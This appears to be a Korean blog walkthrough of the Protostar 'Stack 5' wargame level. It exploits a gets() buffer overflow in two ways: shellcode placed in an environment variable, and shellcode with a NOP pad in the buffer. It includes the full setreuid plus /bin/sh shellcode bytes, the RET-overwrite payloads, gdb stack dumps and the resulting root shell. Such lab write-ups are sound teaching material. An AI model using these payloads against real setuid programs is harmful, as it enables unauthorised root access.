본문 바로가기

WarGame/Exploit-Exercises

[Exploit-Exercises | protostar] Stack 5 :: RET 조작을 통한 Shellcode 실행


Stack 5의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
  char buffer[64];
 
  gets(buffer); // Vurnerability!!!
}
cs


Stack 0 ~ Stack 4까지의 문제들은 변수에 특정 값을 집어 넣거나 특정 함수를 호출하는 문제였는데 이번 문제는 깔끔하게 buffer 변수와 gets() 함수만 존재합니다. 따라서 RET 영역을 조작하여 Setuid가 설정된 파일의 Owner의 권한으로 상승시키는 Shellcode를 실행시키도록 하겠습니다. /opt/protostar/bin/stack5의 Owner가 root임으로 root로 권한이 상승되겠네요.


이번에도 buffer의 크기를 먼저 파악해야 합니다. 앞선 Stack4에서와 main()이 같기 때문에 buffer와 dummy의 크기는 72 Bytes 입니다.



※ 먼저 실습하기 전에 putty로 접속하여 /bin/sh로 되어 있을 경우에는 /bin/bash로 바꾼 후에 진행해야 합니다. /bin/sh로 진행할 경우 정확한 주소 값을 파악할 수 없어 "Segmentation fault" 에러가 출력될 수 있습니다.



 방법 1. 환경 변수를 이용한 shellcode 실행 


Step 1. 먼저 shellcode를 환경변수에 등록합니다. 해당 shellcode는 setreuid(geteuid(), geteuid())와 system("/bin/sh")로 구성된 코드 입니다.


1
2
3
export juun=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb
\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80
\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
cs


Step 2. 다음과 같이 해당 환경변수의 시작 주소를 출력해주는 C 코드를 작성합니다. (환경 변수의 주소값은 디렉터리의 경로나 프로그램의 변수 개수 등에 의해 주소값이 밀려서 달리게 될 수 있으므로 정확한 환경 변수의 시작 주소를 파악하기 위해서는 아래와 같은 C 코드를 이용해야 합니다.) 


1
2
3
4
5
6
7
8
#include <stdlib.h>
int main(int argc, char **argv)
{
         long ptr = getenv(argv[1]);
         ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
         printf("%s Address : %p\n", argv[1],ptr);
         return 0;
}
cs


Step 3. 위에서 만든 C 파일을 컴파일 한 후, 실행시켜면 다음과 같이 해당 환경변수의 시작 주소가 출력됩니다. (두번째 인자는 반드시 절대경로의 Target 파일명을 입력해야 합니다.)


1
2
$ ./getEnvAddr juun /opt/protostar/bin/stack5
juun Address : 0xbfffff1f
cs


Step 4. 이제 buffer 부터 SFP까지를 76개의 A 문자로 덮어버리고 RET 영역에 위에서 찾은 환경변수 주소를 넣어 주면 main() 함수가 리턴될 때 해당 환경 변수에 입력된 shellcode가 실행될것 입니다.


1
2
3
4
5
user@protostar:~$ (python -c 'print "A"*76+"\x1f\xff\xff\xbf"';cat) | /opt/protostar/bin/stack5
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
whoami
root
cs







 방법 2. buffer를 이용한 shellcode 실행 


Step 1. GDB를 이용하여 buffer의 시작 주소를 파악합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
user@protostar:~$ gdb -q /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) b * 0x080483d9
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
AAAA
 
Breakpoint 1, main (argc=1, argv=0xbffff844) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c
(gdb) x/40x $esp
0xbffff740:     0xbffff750      0xb7ec6165      0xbffff758      0xb7eada75
0xbffff750:     0x41414141      0x08049500      0xbffff768      0x080482c4
0xbffff760:     0xb7ff1040      0x0804958c      0xbffff798      0x08048409
0xbffff770:     0xb7fd8304      0xb7fd7ff4      0x080483f0      0xbffff798
0xbffff780:     0xb7ec6365      0xb7ff1040      0x080483fb      0xb7fd7ff4
0xbffff790:     0x080483f0      0x00000000      0xbffff818      0xb7eadc76
0xbffff7a0:     0x00000001      0xbffff844      0xbffff84c      0xb7fe1848
0xbffff7b0:     0xbffff800      0xffffffff      0xb7ffeff4      0x08048232
0xbffff7c0:     0x00000001      0xbffff800      0xb7ff0626      0xb7fffab0
0xbffff7d0:     0xb7fe1b28      0xb7fd7ff4      0x00000000      0x00000000
(gdb) x/x $ebp
0xbffff798:     0xbffff818
cs


buffer의 시작 주소는 0xbffff750 입니다.


Step 2. 이제 buffer 부터 SFP까지를 61 Byte의 shellcode와 15 Byte의 NOP(0x90)으로 덮어 버리고 RET을 buffer의 시작 위치로 수정하면 main() 함수가 리턴될 때 buffer의 시작 위치로 이동하여 shellcode가 실행될 것입니다. 다음과 같은 payload를 만들 수 있습니다.


1
2
3
4
5
6
7
user@protostar:~$ (python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd
\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*15+"\x50\xf7\xff\xbf"';cat) | /opt/protostar/bin/stack5
id
uid=0(root) gid=1001(user) groups=0(root),1001(user)
whoami
root
cs



Step 3. GDB를 통해 실제 입력된 값을 보면 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
user@protostar:~$ python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd
\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*15+"\x50\xf7\xff\xbf"'> input
user@protostar:~$ gdb -q /opt/protostar/bin/stack5                              
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
(gdb) b *0x080483d9
Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r < input
Starting program: /opt/protostar/bin/stack5 < input
 
Breakpoint 1, main (argc=0, argv=0xbffff844) at stack5/stack5.c:11
11      stack5/stack5.c: No such file or directory.
        in stack5/stack5.c
(gdb) x/40x $esp
0xbffff740:     0xbffff750      0xb7ec6165      0xbffff758      0xb7eada75
0xbffff750:     0x31b0c031      0xc38980cd      0xc031c189      0x80cd46b0
0xbffff760:     0x895e1feb      0xc0310876      0x89074688      0x0bb00c46
0xbffff770:     0x4e8df389      0x0c568d08      0xdb3180cd      0xcd40d889
0xbffff780:     0xffdce880      0x622fffff      0x732f6e69      0x90909068
0xbffff790:     0x90909090      0x90909090      0x9090909     0xbffff750
0xbffff7a0:     0x00000000      0xbffff844      0xbffff84c      0xb7fe1848
0xbffff7b0:     0xbffff800      0xffffffff      0xb7ffeff4      0x08048232
0xbffff7c0:     0x00000001      0xbffff800      0xb7ff0626      0xb7fffab0
0xbffff7d0:     0xb7fe1b28      0xb7fd7ff4      0x00000000      0x00000000
cs



※ 해당 환경에서는 랜덤 스택으로 보호되지 않고 있기 때문에 buffer의 시작 주소가 고정되어 있습니다. 만약 랜덤 스택이 적용되어 프로그램을 실행할 때 마다 buffer의 시작 주소가 바뀌는 환경에서는 Brute Force 방식을 이용하거나 RTL 기법을 이용해야 합니다.